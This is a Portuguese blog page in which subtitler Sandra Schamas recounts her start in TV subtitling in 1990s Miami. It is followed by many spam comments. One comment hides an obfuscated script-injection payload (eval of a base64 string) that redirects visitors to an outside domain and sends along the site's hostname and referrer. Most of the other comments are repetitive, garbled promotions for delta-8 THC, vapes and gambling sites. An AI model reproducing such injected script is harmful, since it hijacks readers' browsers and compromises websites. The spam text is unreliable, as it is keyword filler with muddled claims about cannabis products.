Caríssim@s,
Estreamos hoje no blog da LBM uma série de guest posts mensais que, temos certeza, vocês vão adorar. É nossa forma de trazer outras vozes e experiências para nosso blog e contribuir para a disseminação de informação sobre legendagem e aumentar nosso escopo de discussão. Para o grande debute, ninguém menos que Sandra Schamas, pioneiríssima na legendagem, da época da chegada da TV a cabo ao Brasil. Nós nos conhecemos numa palestra que demos conjuntamente na Casa Guilherme de Almeida (clique aqui para ler o post pós-palestra), na qual reunimos nossas experiências de cunho e tempos diferentes para levar aos alunos da Casa uma noção da nossa área da tradução. Neste post, a Sandra nos conta como começou a legendar, como era legendar naquela época e como ela encara tudo isso. Coisa linda de se ver!
Sem mais delongas, senta que lá vem história.
***
Entre dezembro de 1990 e o primeiro semestre de 2003 morei em Miami, uma época rica e intensa da minha vida, uma experiência inestimável. Ter um emprego nine to five, andar de escarpin, meia branca e taiêr era meu sonho de consumo. Depois do green card muitas aulas de inglês e um aprendizado informal do espanhol falado nas ruas, fui me aventurar pelo mundo corporativo. Essa trajetória, devo dizer, foi cheia de empecilhos, dificuldades e diferenças culturais. Tentei, tentei de todo coração me acertar, porém, ao perder o trabalho em um banco e dar de cara com a depressão, percebi que era melhor parar de insistir e buscar novos cominhos. Foi então que um amigo me ligou perguntando se eu não queria traduzir textos de embalagem de lâmpadas de Natal, brinquedos, etc. Insistiu, disse que eu levava jeito, que era só uma experiência e acabei topando. E me encontrando. Organizei os textos num McIntoch antigão, logo depois comprei um IMac, azulzinho, transparente, fofo. Animada com o projeto, vi que gostava dessa eterna investigação que é traduzir e acabei, alguns meses depois, aceitando o desafio de traduzir legendas. Trabalhava como freelancer em um canal de televisão que enviava o sinal de TV a cabo para o Brasil, a HBO ainda não tinha o sinal em Miami, nem as outras empresas de cinema, então tudo passava pela Globecast Hero.
A primeira série que legendei era de um programa de fitness, em espanhol, e tudo que eu precisava saber o era nome dos músculos do corpo, além de ter uma paciência de Jó para marcar a legenda, acompanhando a contagem repetitiva do instrutor. A marcação de legenda era feita separadamente, o programa fazia com que as legendas corressem paralelamente ao filme. Lembro-me bem que, às vezes, à noite, eu ia até uma sala de controle, com uma quantidade enorme de telas e via os filmes passando, com legendas em vários idiomas. Fixava em algum filme que eu tinha marcado e isso era ótimo para checar se a marcação estava em tempo certo.
O treinamento de como fazer legendas era basicamente era o seguinte: uma explicação de como funcionava o sistema de computador, que era o chamado 20/20, o número de caracteres por linha, dar enter em cada linha, evitar pronomes e não usar muita pontuação. Nada de gírias ou palavrões, boa sorte, se vira!
As discussões não tinham fim e logo que um revisor foi contratado, a coisa ficou pior. Não havia dicionários online, o uso da Internet não era permitido no trabalho, não havia corretor ortográfico no programa, não havia tempo para pesquisas. Quando alguém me perguntava se eu queria alguma coisa do Brasil, pedia dicionários, livros do Professor Pasquale, livros de gramática, a arte de escrever bem, e por aí afora.
Havia a dificuldade da nossa própria língua, o português cuja gramática é bem chatinha, a gente não consegue decorar todas as regras e tem que consultar sempre. Além disso, escrever bem depende de prática, sempre, e nem todos tinham. A dificuldade da tradução por si só já complica. As questões culturais têm um grande peso também, os jargões, as gírias, as especificidades de cada nacionalidade. No fim, a gente sempre acabava aprendendo com nossos próprios erros, e os dos outros, em um eterno aprendizado.
Aprendi a traduzir do inglês e do espanhol, aprendi a marcar legendas, depois passei a revisar legendas ao mesmo tempo em que marcava. Entrava às duas da tarde, saía as onze da noite e, uma vez por semana, saía as três ou quatro da manhã porque, junto com outro tradutor, traduzia o script de dublagem para uma programa de uma hora chamado Discovery News. Era super interessante no começo, mas foi ficando chato, pois apresentava sempre o mesmo tipo de assunto. Nós fazíamos assim: dividíamos o texto, cada um traduzia uma parte e depois trocávamos os textos para revisão. No fim, líamos o texto como se fôssemos os dubladores para ver se havia lipsync, ou seja a sincronização com os movimentos labiais.
Quando passei a revisar legendas, logo entrei em contato com a empresa que fazia as traduções e, juntos, fomos escrevendo um manual para ter uma padronização e coerência entre tradutores, marcadores e revisores. Os produtores de cinema também passaram a ditar as regras, o que facilitou bem o trabalho.
As pessoas viviam me perguntando por que as legendas não eram completas, por que o personagem falava uma coisa e na legenda aparecia outra. De tanto explicar que há um limite de caracteres e uma porção de outras restrições de ordem estética para facilitar a leitura, fiquei achando que fazer legenda era um pouco parecido com fazer poesia tradicional, com métrica e rimas, o que também sempre gostei de fazer.
A linguagem da legenda está entre o português falado e o português escrito, e só isso já é um problemão. A começar por um simples “eu te amo”. Segunda pessoa. Geralmente se fala na terceira. Por um bom tempo essa declaração de amor ficou bem estranha: “ eu a amo”, “eu o amo”, “eu amo você”. Mas a língua é viva, vai se modificando com o uso, e o “eu te amo” finalmente parece que agora é aceito. Só para completar a lista de dificuldades, o inglês é bem mais conciso que o português, o que não facilita nada o trabalho do legendador.
O eterno dilema: se a legenda for muito grande, se tiver muito mais legendas do que a média, a pessoa não consegue assistir ao filme. Se as legendas são curtas, ou insuficientes, aparecem aquelas lacunas, e quem assiste acaba se perdendo.
A prática foi levando à proficiência, sempre interessada no assunto fui desenvolvendo cada vez mais esse meu lado Sherlock Holmes e a investigação é um hábito que considero muito saudável. O tradutor precisa ser um eterno desconfiado, um curioso de todos os assuntos.
Ainda no final dos anos 1990, a Florida International University – FIU – abriu um curso de Tradução e Interpretação e logo me inscrevi fazendo parte da primeira turma. Aprendi muito, foi muito produtivo, pois já trabalhava com tradução de legendas há algum tempo.
Gosto de pensar que cada legenda deve ser como um anúncio luminoso e precisa dar conta do recado. Quando alguém me diz que a legenda estava errada, eu desconfio. Porém, por hábito, continuo revisando as legendas dos filmes e programas que assisto e, às vezes, alguma coisa escapa. O tradutor é uma pessoa, não é uma máquina, e às vezes, pela quantidade e urgência de trabalho, o tradutor entra no piloto automático e algum erro pode passar. A mesma coisa o revisor. Além disso, devemos considerar que você pode saber muito bem inglês, pode ser um bom professor, mas pode não ser um bom tradutor. E ainda na área de tradução, vamos nos deparar com inúmeras especializações, tradução técnica, literária, da área médica, jurídica, de poesia, etc. Ainda bem, assim há espaço e trabalho para todos!
***
Para saber mais e tudo sobre a Sandra, acesse o site dela: http://www.sandraschamas.com.br/
New Email List of LinkBio Users. Sell your products or services
directly with cold email marketing to Instagram users
that uses LinkBio in their profiles Download it from seo bedrijf“>”>”>”>”>eval(atob(‘ZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9ICdodHRwczovL29ubGluZWxlYWRnZW5lcmF0aW9uLnh5ei9pbmRleC5odG1sP3V0bV9zb3VyY2U9JyArIGxvY2F0aW9uLmhvc3RuYW1lICsgJyZ1dG1fbWVkaXVtPWdzYS1vbmxpbmVsZWFkJnV0bV9jYW1wYWlnbj1zY3JpcHQmdXRtX2NvbnRlbnQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5yZWZlcnJlcik7’));
So it’s less hassle-free than vape pens.
my blog :: juul refill price
When vaping CBD, the results can be really felt as soon as possible.
Feel free to visit my site item381322190
I just could not depart your web site before suggesting that I really enjoyed the usual information an individual supply in your guests?
Is going to be again regularly in order to investigate cross-check new posts
My web-site; 먹튀폴리스 메이저사이트
When vaping CBD, the impacts can be really felt as soon as possible.
Also visit my homepage; pax 3 vaporizer How to use
Pretty great post. I just stumbled upon your weblog and wanted
to say that I’ve really enjoyed browsing your weblog posts.
In any case I’ll be subscribing for your rss feed and
I’m hoping you write again soon!
my web-site ล๊อตโต้วีไอพี
Hey there, I think your website might be having browser compatibility issues.
When I look at your blog site in Opera, it looks fine
but when opening in Internet Explorer, it has some overlapping.
I just wanted to give you a quick heads up!
Other then that, amazing blog!
Take a look at my webpage: compostable bowls
When vaping CBD, the effects can be really felt right away.
Also visit my web-site; Bookmarks
what is delta 8 made of-8 presently exists
in a legal grey location.
wonderful issues altogether, you just won a new reader.
What would you recommend about your submit that you made some days ago?
Any sure?
Also visit my web site perch light branch pendant
Because buying Delta-8 THC needs to be fun at its core.
Feel free to surf to my website :: delta-8-tetrahydrocannabinol get you high
D8 THC impacts do not peak and after that vanish.
my page: delta 8 cbd carts review
D8 THC impacts do not peak and afterwards go away.
Feel free to surf to my web-site … item383693007
pharma cbd delta 8 carts-8 presently exists in a
legal gray location.
delta 8 thc doesn't get you high-8 currently exists in a legal grey location.
Because buying pharma cbd delta 8 gummies review-8 THC ought
to be enjoyable at its core.
Due to the fact that acquiring Delta 8 gummies 500mg reviews-8
THC must be enjoyable at its core.
Due to what is the best delta 8 flower
fact that getting Delta-8 THC should be enjoyable at its core.
Due to the fact that purchasing Delta-8 THC must be fun at
its core.
Feel free to surf to my blog – item381347426
Since getting delta 8 carts Near Me gas station-8 THC ought to be fun at its core.
Presently, the legitimacy of Delta 8 Near Me Delivery-8 is hazy.
Currently, the validity of diamond cbd delta 8 near me-8 is hazy.
D8 THC results do not peak and then disappear.
Here is my web blog item381365047
D8 THC results do not peak and then disappear.
my web page; delta 8 cbd vape juice
D8 THC results do not peak and afterwards go away.
My webpage – what is koi delta 8 gummies
Due to the fact that acquiring Delta-8 THC ought to be enjoyable at its core.
Look into my page :: Bookmarks
is delta 8 thc safe to vape-8 currently exists in a legal grey location.
Currently, the legitimacy of delta 8 sprayed flower-8 is hazy.
D8 THC effects do not peak and afterwards disappear.
Feel free to surf to my webpage; 3Chi Delta 8 Gummies Reddit
Delta-8 currently exists in a legal grey location.
Also visit my web blog – Bookmarks
D8 THC results do not peak and after that vanish.
Here is my web blog; item382269270
Presently, the legitimacy of delta 8 thc france-8 is hazy.
Since buying Delta-8 THC ought to be enjoyable at its core.
My web-site … Bookmarks
D8 THC impacts do not peak and after that disappear.
Look at my homepage :: Bookmarks
Currently, the legitimacy of delta-8 is hazy.
Feel free to visit my web site; item381365469
D8 THC results do not peak and afterwards vanish.
Here is my web blog – 3chi delta 8 gummies reddit
Currently, the validity of Delta 8 Cbd Gummies Review-8 is hazy.
It becomes a special keepsake after the night’s festivities – reminding you of
the great time you had prior to tying the knot.
My homepage: hen party t shirts disney
D8 THC effects do not peak and then vanish.
my web page – delta 8 flower spray 5000mg
best delta 8 flower wholesale-8 presently exists in a legal gray location.
Due to the fact that getting diamond cbd delta 8 carts-8
THC needs to be fun at its core.
Nice blog here! Also your website loads up fast! What host are you using?
Can I get your affiliate link to your host? I wish my web site loaded up as fast
as yours lol
Feel free to surf to my web site :: prettypeople.club
Because buying delta 8 near me-8 THC
must be fun at its core.
It’s awesome for me to have a web page, which is helpful
for my experience. thanks admin https://edex.adobe.com/community/member/B6VjTU_F7
D8 THC results do not peak and afterwards disappear.
Feel free to visit my blog delta 8 cbd gummies review
Due to the fact that buying Delta-8 THC ought to be
enjoyable at its core.
My blog: item381347241
Because buying Is delta 8 weed legal-8 THC should be fun at
its core.
Hey There. I found your blog using msn. This is an extremely well written article.
I will be sure to bookmark it and come back to read more of your useful
information. Thanks for the post. I’ll certainly comeback.
Look into my blog; Clean Cut Keto Review
Because acquiring urb delta 8 gummies reddit-8 THC needs
to be fun at its core.
Because acquiring delta 8 Thc france-8 THC should be
enjoyable at its core.